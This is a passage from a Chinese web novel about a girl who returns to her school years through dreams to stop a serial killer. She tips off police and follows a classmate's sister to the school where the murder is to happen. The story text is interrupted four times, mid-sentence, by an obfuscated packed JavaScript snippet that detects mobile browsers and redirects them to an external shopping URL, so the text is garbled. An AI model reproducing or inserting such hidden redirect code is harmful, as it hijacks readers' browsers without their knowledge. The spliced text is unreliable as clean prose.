乔颂:“都有点记不清了,根据警方的说法,那个公共厕所就是第一案发现场,她那时参加了学校的军乐队,下课后得留下练习,可能是坏肚子比较着急吧,天黑后没等同学自己跑去了室外厕所。” 由于涉及到夏晚,其实很多年前夏迟就已经梳理过全部的案件,但这却是她第一次询问乔颂,她听完后思忖片刻,疑惑道:“你怎么知道她坏肚子?”这个细节可从来没有出现在警察的调查中。 乔颂:“嗯?什么坏肚子?” 夏迟:“你刚才说的啊,她坏肚子着急才自己去的厕所。” 乔颂:“我说的是可能,你不是说猜的也可以吗。” 夏迟点点头,“确实,坏肚子是个很好的理由。” 乔颂长出一口气,“你别这么紧张,大夫还叮嘱你好好休息呢,我和你说这么多已经算是违规了。” 夏迟:“那你再帮我一个忙呗。” 乔颂:“你说。” 看了一眼仍在睡梦中的夏国强,夏迟这才放心,“你去一趟我家,我行李箱里有个牛皮袋,里面的东西,你帮我挨个拍个照片,然后用彩信发给我。千万别直接拿来,也别告诉我爸。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959401|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔颂也下意识的扭头看了一眼夏国强,确认他还在睡着,“那里面,不会是这些案件的调查线索吧。” 夏迟:“所以说,别让我爸知道。” 警方不会对外公开线索,这些都是夏晚失踪之后,她凭借自己的努力查到的。但那时李桂梅看她看的严,不允许她随便外出,再加上她确实手段有限,能查到的也不多,基本都是受害者的出事地点和时间。 乔颂:“我突然很不想帮你这个忙。” 夏迟:“拜托了。” 乔颂:“帮你也行,但在那之前你和我好好说说,我刚看你是想自己往下查,你到底想怎么查啊。” 提到这个话题夏迟却开始犹豫了,“你觉得,人可以通过梦境穿越吗?” 乔颂:“啊?” 夏迟:“比如……明明是那辆自行车撞倒了你,但我在梦境中回到了过去,替你挡下了那辆自行车。” 乔颂:“哦。” 夏迟:“你相信了?” 乔颂:“嗯,我相信大夫说的,脑震荡可能会引发短暂的记忆混乱,不过没关系,过几天就会好的。” 夏迟:“……” 但最后乔颂还是决定帮助夏迟,他从夏迟手里拿到了家门钥匙,在夏国强醒后以还有事情要办为理由离开了医院。 夏迟的行李箱就在衣柜前放着,乔颂按照她的吩咐在里面找到了那个牛皮纸袋,打开后抽出里面一个薄薄的笔记本。 姓名:乔雅 性别:女 死亡时间:99年4月 …… 乔颂冷漠的看着这些文字,眼底晦暗不清。 另一边,夏迟通过彩信接收到了乔颂发来的照片,夏国强不懂这些,以为她就是在玩手机,虽然大夫叮嘱要多多休息,但他看夏迟状态还好,也就没有管,他压根不知道女儿究竟在看些什么。 直到晚上十点,夏国强觉得她应该睡觉了,就去关了灯。 “爸。” “诶,爸爸在呢,要拿什么?” “没什么,就是突然想和你说说话。” 十几年过去,爸妈都苍老了很多,夏迟看着他们的样子心里难受,就会故意找一点轻松的话题聊,那些真正想说的心里话反而像一团棉花堵在喉咙口,不上不下憋的难受。 现在关了灯,她只能看见爸爸在黑暗中的轮廓,反而轻松了许多。 事发时随身听被她好好揣在兜里,没有损坏也没有磕到边角,乔颂知道她宝贝这个随身听,就一直放在她的枕头下面。 夏迟抽出耳机,习惯性戴上,然后趁着黑暗默默将输液管的流量调至最大,她听着耳边的轻音乐,几分钟后,眼皮渐渐沉重。 “我昏迷的时候做了一个梦,我梦见姐姐还在,你和妈妈也都还是年轻的样子。” 这次沉默的变成了夏国强,他不敢去想象夏迟描述的那个曾经的家,如果夏晚还在,一切都会变得不一样。但他没有时间多愁善感,他现在还有妻子女儿要照顾,他不能让情绪摧毁自己,只能强忍道:“都过去了……” “过不去的……爸,我知道你心里难受,我也是,所以……我打算再做一个梦,我会在梦里把夏晚带回来,我们一家人还像以前一样,爸,相信我,我可以带回夏晚,一定可以……” 12. 第十二章 四月一日,是夏迟再次返回的第三天,也是月考出成绩的日子。 钟景明是一班的学习委员,他从老师那里拿回总成绩单,用透明胶黏住四角,然后粘在教室门口,让进进出出的同学们随时查看自己的成绩。 当然,不出意外的,他又是年级第一。 每次月考出成绩,都是几家欢喜几家愁,虽然月考不用开家长会,但卷子都得拿回家让家长签字,考的好的无所畏惧,考的差的已经开始犯愁下个月的零花钱。 夏迟这次考了第三,陆尘比她高六分占据了第二名的位置,她站在那儿简单看了一眼自己的成绩,习惯性的按照排名往下看。 果不其然,又在排名很靠后的位置看到了夏晚的名字。 她从围观的同学中挤出来,沿着过道来到夏晚座位旁,坐在她的桌沿上,“这次编个什么理由?脑袋疼还是坏肚子?” 夏晚哭丧着脸,甚至都没问自己究竟排多少名,“要不……脚崴了吧。” 夏迟:“脚崴了是影响你脑子还是影响你答卷的手啊。” 夏晚:“那还有什么理由啊,能用的都用过了。” 夏迟:“你就不能不找理由好好学习吗?每次月考都这成绩,妈不生气就怪了。” 夏晚崩溃,“我也想好好学习啊,可知识就是不往我脑袋里走,我有什么办法。” 夏迟重重叹了口气,“算了,你好自为之,妈如果要揍你我肯定拦不住的。” “那还是拦一下吧。”夏晚可怜兮兮的扒着她的胳膊,“妈那手劲儿你知道,我都怕她直接给我开个瓢。” “呵呵。”夏迟用力拽开她的手,“开个瓢也好,倒倒你脑子里的水,顺便把课本塞进去,下次怎么说也能多得个两三分。” 夏迟走后,夏晚趴在桌上自暴自弃,又顺手去抓她的同桌、也是她在一班的好姐妹,“婷婷,我该咋办啊。” 闻言,徐婷婷偷偷将指甲油塞进书桌膛,看夏晚那模样表示自己也无能为力,“你家有一个就算了,一口气出了俩,你说你妈拿到三份成绩单,前两份看的好好的,结果又一看你的,就那点分,搁谁谁不生气啊。” 俩人正聊着,卫生委员林森兴奋的从教学办公室跑回来,给同学们带来了一个好消息。 “下节自习改成体活课,大家把桌椅搬到走廊,值日生大扫除,下课前回来重新排座位。” 韩途生为了调动学生学习积极性,允许他们自己选座位选同桌,这样的大扫除每月一次,就按照月考排名从前到后的顺序。 班级里响起一阵小小的欢呼声,大家纷纷动起来,把自己的桌椅搬到走廊一排排放好,便互相招呼着下楼去玩。 夏迟不是这周值日生,可以和大家一起自由活动,有女同学问她要不要一起去小卖部买吃的,她找了个借口拒绝。 毕竟,现在还有更重要的事要做。 正巧别班也有体活课,乔颂他们约了一场5v5篮球赛,但玩了几分钟后总是无法忽视场边那道视线,偏巧这时别的同学也看到了,“乔颂,你啥时候和夏迟关系那么好了。”说着,甚至还小小的起哄几声。 “别闹了。”乔颂远远投入一个三分球后便下场和队友交换。 夏迟:“诶,乔颂,这边这边~” 乔颂笑着朝夏迟那边跑去,“找我什么事?” 夏迟:“你有时间吗?想和你单独聊聊。” 乔颂:“好。” 操场一角的双杠,他们一人坐着一根,乔颂拧开水瓶喝了口水,看向对面的夏迟,“想和我说什么?” 夏迟:“你家里……是不是有个妹妹?” 乔颂疑惑,“是啊,怎么了?” 夏迟:“她学习成绩怎么样啊?” 乔颂:“不太好,心思不往学习上使。” 夏迟:“其实吧,我觉得咱俩情况挺像的,你看你妹妹学习也不好,夏晚学习也不好。” 虽然乔颂没搞清楚这两者之间有什么联系,但他还是愿意继续听下去。夏迟扯了一堆乱七八糟的理由,最终还是绕到了乔雅本身,“你妹妹最近都在做什么啊?是不是玩的太多,所以才没心思学习的。” “夏迟。”乔颂有点无奈,“我和我妹妹同父异母,关系非常一般,她的事情我了解的很少。” 夏迟:“我知道,我就是随便问问……” 夏迟对乔颂家的情况一清二楚,这个时间段俩人还不是好朋友,只是普通的同班同学,乔颂有保留是正常的。而且夏迟知道他不想过多提及自己的家庭,可现在没有办法,明天就是乔雅受害的日子,她得在此之前多从乔颂嘴里套出点资料。 “真的只是随便问问?看着不像啊。”哪怕心里抵触,但乔颂依旧保持着良好的风度,“你到底想问什么问题,可以直说。” 夏迟:“我已经直说了啊……” 她歪着头,有点懊恼有点无语,就差把纠结两个字刻在脑门上。 看她这模样,乔颂突然笑出了声,“我以前怎么没有发现你这么好玩呢。” 夏迟心说我好玩个鬼。 似乎是怕她尴尬,乔颂克制自己停止了笑声,“我没骗你,我确实知道的不多,但下周不是清明吗,他们学校要组织清扫烈士墓,还有演讲等一系列活动,她是校军乐队的,说是在当天有表演,最近一周都在下课后留校练习。” 夏迟:“还有呢?” 乔颂:“就这么多,真没了。” 夏迟:“好吧……” 操场上打篮球的、扔沙包的、跳大绳的,各种各样的嘈杂声钻入耳中,夏迟凝神静气陷入了思考,好久以后才回过神来,这时她发现乔颂居然还没有离开,而是一直坐在那儿陪着自己。 “你不去打篮球了?” “我以为,你可能还会有别的问题想问我。” 夏迟笑了笑,“没有啦,目前就这么多。” 俩人有说有笑的模样被压操场的同学看在眼中,有的在窃窃私语偷偷的笑,有的则是大大方方的过来问,“你俩唠啥呢唠这么半天?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959402|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 乔颂:“没什么,随便聊聊。” 那人嘴里叼着冰棍,刚从小卖店回来,平时喜欢打篮球和乔颂关系挺好,见状也没继续问,从塑料袋里拿出一包甜牛奶,“你喝不?小卖部新上的货,老甜老好喝了。” 没等乔颂回答,夏迟先替他拒绝了,“他乳糖不耐受,不能喝这个。” 乔颂一怔。 那人眨巴眨巴眼睛,天真的眼神中充满了无知,“啥叫乳糖不耐受?” 夏迟:“简单来讲就是他吸收不了牛奶,喝了之后会身体不舒服。” “啊?还有这毛病?” 夏迟点点头,“没错。” 那人走后,乔颂对她的疑惑越来越深,“你怎么知道我喝不了牛奶?” 这事还得追溯到他们大学时期,有次乔颂去学校看她,夏迟学校附近有家手工酸奶特别好喝,本想让他也尝一尝,但乔颂以自己乳糖不耐受为理由拒绝了她的好意,于是俩人转战了另一家小吃店。 但这都是以后才会发生的事,现在的夏迟,确实是不了解这些的。 夏迟:“额……我是从别人那里听来的。” 乔颂不记得自己和别人说过,但又一时拿不准,所以没法确定夏迟说的到底是真是假,“嗯,谢谢你记得。” “嗐,没事。”眼看要到下课时间,夏迟从双杠上跳下,“走吧,该回去搬桌子了。” …… 走廊里,大家都各自站在了自己的桌椅前,钟景明考了第一名,便由他先选座位。但这几乎没什么悬念,为了更好的打游戏,他每次都选靠窗最后一排,而陆尘也和上次一样,选了钟景明前面的位置。 你打游戏我听歌,大家都有美好的未来。 有变化的是夏迟,以往她都喜欢靠前一点,或者干脆坐在讲台边上,可这次她搬着桌椅径自走向了陆尘旁边,“商量一下,我坐里面好不好?” 陆尘断然拒绝,“想都别想。” 夏迟撇撇嘴角,没办法,谁让她这次没考过陆尘呢。 失败的人没有选择权。 后续的座位选择倒也没有引起太大的波澜,只是随着剩余的位置越来越少,走廊里的人越看越揪心。 一班学生人数正好是双数,这也就意味着肯定得有一个人给钟景明做同桌,况且今时不同往日,那个位置旁边不仅仅有钟景明,还有第二第三的陆尘和夏迟,离老远都能闻到那里知识的芬芳。 实验一中在全市排名靠前,纯交钱混毕业证书的学生很少,虽然放眼整个学年大家成绩有好有坏,但心里都在想着学习,努力学习还考不过打游戏和听歌的,坐在这儿真的过于打击学渣的积极性。 “救命啊……有没有人救救我……” “别嚎了,你也不看看那是啥地方,谁敢坐啊。” 月考考了倒数第一的同学欲哭无泪,如果没有别人选择,坐在那里的人就是他。 正当他祈求救苦救难大慈大悲观世音菩萨显灵时,乔颂搬着桌椅朝那个位置走了过去。 13. 第十三章 乔颂这一举动在同学中引起一阵小小的波澜。 有不少人刚才看见乔颂和夏迟偷偷在双杠那边聊天,恋爱仿佛是少男少女们永远聊不尽的话题,学校禁止早恋,但不代表就可以浇灭那颗火热的八卦之心。 “哇哦~” “啧啧啧……” “你说他俩是不是……” 在所有人的注视下,乔颂将桌椅放在了钟景明旁边,桌腿落地那一刻,甚至传来了掌声。 但钟景明不在乎,他先将游戏暂停,摘下一侧耳机,朝乔颂问道:“你上课愿意举手回答问题吗?” 乔颂摇头。 钟景明再问,“那你会吸引老师注意力吗?比如聊天或者传纸条之类的。” 乔颂依旧摇头。 “很好。”钟景明重新戴上耳机,继续徜徉在游戏世界中。 倒是夏迟很开心,她从书包里抓出一把糖,给钟景明分了两颗,给乔颂分了两颗,剩下两颗刚要给陆尘,却发现里面有一颗薄荷的,只能重新换了一个苹果味儿的,小声嘀咕道:“就你事多……”然后又拿出一个塑料袋,一头挂在自己椅子上,一头挂在陆尘椅子上,当做两个人的垃圾袋。 实验一中有规定,高一高二晚自习上到晚八点,高三上到晚十点,偶尔有老师会利用这段时间讲卷子,但多数时间都是留给学生们做作业或者去办公室问问题。 晚自习上,夏迟以最快的速度写完作业,眼看周围同学都在低头奋笔疾书没有人注意自己,就偷偷抽出一张演算纸,先画了一个井字当做十字路口,然后再慢慢标出印象中的建筑。 这里和乔雅的小学隔着一个街区,走路过去大概需要四十分钟,而案件发生的时间在晚七点左右,根据夏迟的估算,她得在六点四十五之前到达,那六点就要出发。 而一中五点下课,这也就意味着她的时间非常充裕,只要想办法逃掉晚自习就可以。 旁边的陆尘做完一张卷子,正准备给随身听换一盘磁带,谁知搭眼就看见夏迟在纸上涂涂画画,都是他看不懂的东西。 他十分好奇,想问问这又是在作什么妖,但最终还是忍住了。 然而他很快就知道了答案。 第二天中午,夏迟午饭过后开始趴桌子,整个人病恹恹的没精神,下午第一节下课后就去办公室找韩途生请了假。 看她无精打采的回到座位上,乔颂关心道:“身体不舒服吗?” 夏迟艰难点头。 乔颂:“哪儿不舒服啊?需不需要我去校医室帮你拿药?” 为了防止他继续追问,夏迟只好以每个月总有那么几天为理由,乔颂没想到居然是这样,顿时埋怨自己话太多,连耳朵都微微泛着红,纠结到最后只好叮嘱她多喝热水。 他俩的对话被陆尘听到,等夏迟转过来准备继续趴桌子时,陆尘摘下一只耳机,凑过去用只有两个人的声音问道:“你怎么回事,你不每次都是月中吗?这才两个礼拜,怎么又来了。” 夏迟:“……” 从小一起长大就这点不好,啥都瞒不过去。 夏迟绞尽脑汁编理由,“可能……突然就月经不调了。” 陆尘:“……” 他看了一眼夏迟桌上的卡通塑料水杯,叹气,然后从书桌里取出自己的保温杯,让钟景明往后挪了挪桌子,长腿一迈跨到后面,绕过乔颂离开了教室。 等到上课铃打响陆尘返回座位,夏迟获得了一杯温热的红糖水。 夏迟觉得自己好罪恶啊,可是没办法,她不想把陆尘牵扯进来,自己说的谎只能硬着头皮撑下去。 ——以后还是要对陆尘好点,再也不给他吃薄荷糖了。 整整一下午,夏迟都保持着萎靡不振的状态,科任老师知道她成绩好,看出她身体不舒服便默许她偶尔在课堂上趴桌子。 终于,夏迟熬到了晚饭时间。 一中并不规定学生们的用餐方式,可以带饭、可以让家长送饭、也可以订食堂,但高一高二需要自己去食堂打饭,高三则由食堂工作人员统一装配送到班级门口,以节省他们的宝贵时间。 刚刚下课正是食堂人满为患的时候,一班的学生们并不着急,有的还招呼着先去打打篮球再去吃饭。 眼看夏迟去跟夏晚说了句什么后便背着书包离开教室,乔颂还是有点担心,“她这样没事吧。” 陆尘烦躁的看了一眼窗外。 他总觉得夏迟最近怪怪的,说话奇怪、行为奇怪、整个人都散发着奇怪的气息,而这一切都是从春游那天开始的。 夏迟说她在做梦,那现在呢,对夏迟而言这算是现实还是梦境。 他长出一口气,转身去问乔颂,“夏迟最近有没有和你说过奇怪的话?” 乔颂:“什么叫奇怪的话?” 陆尘:“就是你认为的、她之前绝对不会和你谈论的话题。” 乔颂想了想,“昨天她问了问我妹妹的情况,算吗?” 闻言,陆尘从挂在椅子上的垃圾袋里翻找出夏迟扔掉的纸团,展开后仔细辨别上面的内容。 中间那个井字真的越看越像学校旁边的十字路口,尤其是再往北边走一段距离、隐藏在小胡同里的游戏厅,上学期学校还要求各班班主任带着班长团支书去那边抓过逃课的学生。 而在这条路的尽头夏迟着重画了一个圈。 ——临江区二实验。 陆尘重新将纸团成一团塞进口袋,屈指敲了敲钟景明的桌子。 钟景明大无语,“别告诉我班长和团支书都要逃晚自习。” 为了方便学生找老师问题,晚自习时所有老师都在办公室,班里一般由班长或团支书维持纪律,但如果俩人都不在,这项工作就会落到学习委员身上。 陆尘:“当初要不是你死活不当班长,这位置轮得到我?” 钟景明:“……” 陆尘:“看到那个讲台了吗,到时候你就搬把椅子坐在上面,教导主任要是看到你打游戏,你就和他说这是为了开发大脑所进行的训练,他再问你就把门口的成绩单指给他看,让他少管闲事。” 乔颂都听懵了,“这能行?” 钟景明:“行个屁!” 但陆尘才不管他的感受,已经收拾好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959403|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了书包,鼓励似的拍拍他的肩膀,“加油。” 韩途生上节没有课,已经提前在办公室吃了晚饭,正打算去外面走一走呼吸一下新鲜空气,谁知迎面撞见了背着书包的陆尘。 陆尘:“老师好。” 韩途生:“陆尘同学,你这是要去哪儿啊?” 陆尘:“正想去办公室请假呢。” 韩途生:“你也身体不舒服?” 陆尘觉得自己现在生龙活虎脚下生风,也不像女生每个月总有那么几天特殊情况,这假还真不太好请,可他还有别的办法,“没有,但是夏迟身体不舒服。” 高一开学时,韩途生作为班主任已经弄清楚了每个同学的家庭状况,他知道陆尘和夏迟从小一起长大,就住在彼此隔壁,两家好到几乎不分你我,甚至上学期的家长会,都是夏迟妈妈替三个孩子开的。 但是…… 韩途生:“为什么不是夏晚请假回去陪夏迟?” 陆尘:“……” 这问题就尴尬了。 走廊里学生们来来往往,陆尘瞥见一个拿着卷子去办公室问题的,灵光一闪,“我比夏晚成绩好,她比我更需要上晚自习。” 韩途生嘴唇动了动,发现这个理由竟然无法反驳,思考再三,终于松口,“那好吧,路上注意安全。” 陆尘:“嗯,谢谢老师。” 然后他便逆着人流跑出了教学楼。 现在距离夏迟离开学校也没多长时间,再加上陆尘已经知道了她的目的地,所以并不担心找人的问题。 离开学校后,他沿着十字路口向北走,此时正是下班时间,街上到处都是自行车,陆尘走着走着突然想起夏迟和他说过的话。 她说再过几年街上会变得非常拥挤,会有越来越多的家庭购买小轿车,自行车渐渐淡出了大家的视野,曾经最便利的交通工具摇身一变成了少数人使用的健身器材。还有现在只有有钱人才能买得起的大哥大,它会渐渐变小变薄,就像个小巧的零钱包那样,随便揣在兜里就可以带到外面,而传呼机将会被彻底淘汰。 至于这些街边的平房都会经历改造,将来都会变成高楼大厦,以及一个个寸土寸金的商圈店铺。路过小吃街时,陆尘看到一家无骨鸡柳,现在两块钱一份的将来也会变成五块、八块、十块,直至变成记忆中的童年的味道。 陆尘从小生活在这里,他有点无法想象夏迟所描绘的那个世界。 夏迟说这只是她的一个梦,但现在反倒是陆尘有点分不清梦境与现实的区别了。 他认识了夏迟十七年,他知道她就是夏迟,可又有什么是和从前不一样的。 陆尘下意识的加快了脚步,最终在人群中看到了那个身穿校服的身影。 或许是时间充裕,或许是内心早已有了稳妥的计划,夏迟显得非常放松,脚步轻快,仿佛只要度过了今天就能获得一份全新的生活。 陆尘停下脚步静静看了片刻,直觉告诉他如果现在离开,自己的生活就将回到正轨,但内心的那份好奇心作祟又让他放不下。 最终,陆尘自嘲的笑笑,又重新追了上去。 14. 第十四章 为了预祝自己的计划能够顺利实施,夏迟买了一份五块钱的无骨鸡柳,美滋滋的边吃边走。 可突然之间,她又有了身后被人跟踪的感觉。 现在天还没有黑,周围人来人往,夏迟不相信那个人敢在这里动手,但如果有这个机会,或许能够瞥见凶手的样貌。 想到此,夏迟沉住气,装作若无其事的样子继续向前走,待到她自认时机成熟,猛地回身一看,却看到一张熟悉的脸。 “陆尘,怎么是你?” 陆尘单肩背着书包,一只耳朵上塞着耳机,闻言笑笑,“是我很意外吗?” 夏迟抓狂,“不是,你现在不该在教室准备上晚自习吗,跑这儿来干嘛?” “当然是想看看某人又在搞什么幺蛾子。”陆尘上前,拿起竹签扎了几条鸡柳送进口中,“还挺好吃的,就是有点凉了。” 见状,夏迟把整袋都塞到他手中,“鸡柳都给你,你赶紧回去上晚自习。” “行。”陆尘顺势转身往回走,“等回去我就告诉梅姨,说你以月经不调为理由逃课。” 然后他就被夏迟一把拉住。 陆尘:“干嘛,别拽我,我要回家。” 夏迟崩溃,“大哥,算我求你了,你别闹了行不行。” 陆尘:“那你告诉我,你千方百计和乔颂打听他妹妹的事,现在又逃晚自习企图跑去她的学校,你到底在干什么。” 然而夏迟根本不知道该怎么说,她拉着陆尘的校服袖子,陷入了长久的沉默。 这个时间、这个地点、他俩又都穿着校服,周围来来往往的行人都把他们当成了逃课谈恋爱的小情侣,看向他们的眼神中都带着浓浓的不认同。陆尘不想继续站在这里被人围观,扭头瞥见旁边一家煎粉店,问道:“你要做的事,时间还来得及吗?” 夏迟:“嗯,六点四十五左右到就行。” 陆尘:“到二实验吗?” 夏迟:“嗯。” 陆尘:“那行,先进去吃个晚饭吧。” 这家路边小店也就十几个平方,只摆了四张桌子,陆尘点了两份馇条又给自己单独加了个烧饼。 喷香的肉酱淋在黄橙橙的面条上,再加上绿色的黄瓜丝和香菜点缀,无论嗅觉还是视觉都引得人食指大动。 夏迟虽然肚子饿但却没什么胃口,她简单吃了几口,看着面前大快朵颐的陆尘,小声道:“吃完你就回去吧。” 陆尘:“那你告诉我你为什么逃晚自习,又为什么要去找乔颂的妹妹。” “啧……”夏迟烦躁的用筷子戳碗,“我求你,你就别问了好不好,你问这事是没有意义的,就算我说了你也不会信。” 陆尘:“你还没说怎么知道我不信。” 夏迟:“少骗人了,上次我和你说我做梦,你还要带我去检查脑子呢。” 陆尘:“最后不也没去吗,你先说,我听完再考虑要不要信。” 夏迟叹气,她放弃了,她觉得再这么和陆尘耗下去是没有结果的,“行,其实前两天我又做了一个梦。” 陆尘:“梦见乔颂他妹妹了?” 夏迟:“嗯,我梦见就在今天,有个坏人会潜入二实验,在厕所里杀了他妹妹。” 夹起的馇条停在半空,还散发着丝丝热气,陆尘抬眼看向夏迟带着点探究的意味,“你认真的?” 夏迟:“我骗你干嘛,总之,就是今天,我得去二实验抓住那个凶手。” 警方将乔雅定义成第一个受害人,这也就意味着,只要夏迟能够在今天抓住凶手,那么以后的杀人案都将不复存在,她想借此拯救夏晚,以及那些破碎的家庭。 陆尘:“好,我就算你说的是真的,但是这事你为什么不告诉乔颂。” 夏迟:“你觉得他会信吗?我莫名其妙的跑去和他说‘乔颂,今晚有人要杀你妹妹’,你觉得他会是什么反应,是相信我说的话,还是把我当成神经病。” 而且以乔颂的家庭情况,他就算认为这件事是真的,估计也不会和后妈说。在未来那段时间的相处中,乔颂虽然不避讳和她聊起家里乱七八糟的事,但夏迟隐约觉得,他对这个后妈有一股恨意,包括提到乔雅的死,乔颂也没什么情绪波动,仿佛死的只是一个无关紧要的陌生人。 然而这些涉及到乔颂的个人隐私,夏迟不可能和陆尘说。 好在陆尘并不纠结这点,因为在他看来,乔颂即便得知这件事,估计也就像夏迟说的那样,只把这当成一些疯言疯语。 陆尘:“嗯,说得对,但我还有最后一个问题。” 夏迟:“你说。” 陆尘:“你想怎么抓凶手?他咋说也是个成年男性吧,光凭你自己,别说抓住凶手,到时候再把自己搭进去可有意思了。” 夏迟:“我哪儿能那么傻啊,我都算好了,凶手大概七点出现,而110从接警到到达现场可能需要十多分钟,我到二实验后先找个公共电话亭匿名报警,然后再去厕所潜伏,这样一来,哪怕会有三两分钟的误差,我也能保护住乔雅,还能当个目击证人,等警察来的时候凶手跑都别想跑。” 陆尘:“我还得夸你有勇有谋呗。” “用不着,反正现在就是这么个情况。”夏迟继续道,“陆尘,你想知道的我全都告诉你了,等你吃完你就回去好不好,今天这事对我特别重要,真的,我要解决不了我这辈子都不安心,你就别给我添乱了。” 陆尘:“我发现你这人就没良心,我认识你十七年了,啥时候给你添过乱,你不说这事对你特别重要吗,行,一会儿我跟你一起去。” 夏迟:“你……你信我说的?你不觉得我脑子有病?” 陆尘:“耳听为虚,眼见为实,信不信你是以后的事,我得去亲眼看看。” 当然,为了避免夏迟不带他一起玩,他再次搬出了李桂梅,表示如果夏迟不让他跟着,他现在就找个公共电话亭打电话给李桂梅告状。 夏迟谁也不怕就怕她妈,于是败下阵来,答应带他一起去二实验。 眼看陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959404|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘那碗馇条马上见底,夏迟知道男生长身体时饭量大,生怕他不够吃,就从自己碗里拨了一半给他,看他手里的烧饼不错,又要过来咬了两口。 外面天色渐暗,风也渐渐变凉,路过游戏厅时,夏迟扭头向里面瞥了一眼,果不其然看到了一中的校服。 “你说他们天天逃课打游戏不无聊吗,这个年纪,为什么不能好好学习呢。” 一中每年都留有几个班的名额,花钱就能进,这些学生的目的也不是学习,只是想混过三年拿到一个高中毕业证。而且他们的家庭条件普遍较好,毕竟条件不好的要么初中毕业就去打工,或者更为实用的考去一个中专技校学门手艺,总好过在高中混日子。 陆尘对这些人漠不关心,“要不你去报师范大学,毕业后回校任教,争取几年内当上教导主任,每天什么都不干,就搬个小板凳坐在游戏厅门口,谁来骂谁。” 听出他在调侃自己,夏迟笑着抬手锤了一下他的肩膀,“滚蛋吧你,等我大学毕业的时候,游戏厅都已经过时了,那时候是网吧的天下。” 考虑到陆尘没去过网吧,夏迟还很贴心的描述一番,“就像咱们微机课的机房一样,但条件更好点,还有小包间。” 陆尘:“这也是你在梦里见到的?” 夏迟:“对啊,我梦里可精彩了。” 街边的路灯依次亮起,路上经过一个十字路口,二人在斑马线前停下脚步。 平心而论,陆尘的相貌非常优秀,精致的眉眼白皙的皮肤,微长的刘海稍稍盖过眉毛,戴上耳机不说话时微微耷拉着眼皮,少年感中带着一丝忧郁与神秘,现在加上路灯的照射,五官也显得更加立体深邃,身周都散发着柔和的光晕。 ——应该是很受女孩子喜欢的类型。 总归还有一段路要走,夏迟玩性忽起,过了斑马线后,她屈肘捅捅陆尘,不怀好意道:“诶,问你个事。” 陆尘:“说。” 夏迟:“你有没有收到过女生给你的情书啊。” 陆尘:“哪个女生那么无聊,再说了,就算是有,我也不会收这么无聊的东西。” 夏迟:“怎么会无聊,受荷尔蒙影响,这个年纪的男生不都该对异性抱有幻想吗,比如收到情书,比如和喜欢的女生拉个小手。” 陆尘:“那是他们接触的异性太少,你和夏晚,你俩从小就在我耳边叽叽喳喳,要是现在再来一个,是想让我死吧。” 夏迟:“陆尘你过分了啊,先不说夏晚,我哪有叽叽喳喳,我明明话很少的。” 陆尘:“呵呵。” 说夏迟不爱说话,就仿佛说钟景明上课认真听讲从不打游戏一样,一看就是谎言,一听就没有说服力。 二人聊着聊着,不知不觉已经来到了二实验。 小学放学早,五六年级四点放学,一到四年级甚至只需下午两点半,现在整个教学楼只有两个窗户是亮着灯的,应该就是为了过两天清明活动加紧彩排的军乐队。 而乔雅就在里面。 15. 第十五章 校门口收发室亮着灯,打更大爷坐在桌前看报纸,时不时抬头看一眼墙上的钟表,好像在等待什么,并未注意到徘徊在校外的夏迟和陆尘。 眼看时间差不多了,夏迟就近找了一个公共电话亭,可惜拿起听筒试了几次才发现电话是坏的,只能去到不远处的小卖部。 小卖部里只有老板娘一人,座机就放在她面前的柜台上,夏迟不想让老板娘听到自己报警,就给陆尘使了个眼色,陆尘便假意往外走,故意撞上了玻璃大门发出好大的声响。老板娘怕他把门撞坏了,嘴里骂骂咧咧的从柜台后走出去查看,趁着这个机会,夏迟快速拨通了110,只说有人要在二实验小学行凶杀人地点就在室外的公共厕所,请他们尽快赶到,不等对方详细询问就挂断了电话。 电话一分钟两毛钱,不足一分钟按一分钟计算,夏迟拿出两个一毛钱硬币放在桌上,朝老板娘笑了笑,老板娘见大门没事,也就没再多说什么,放他们离开。 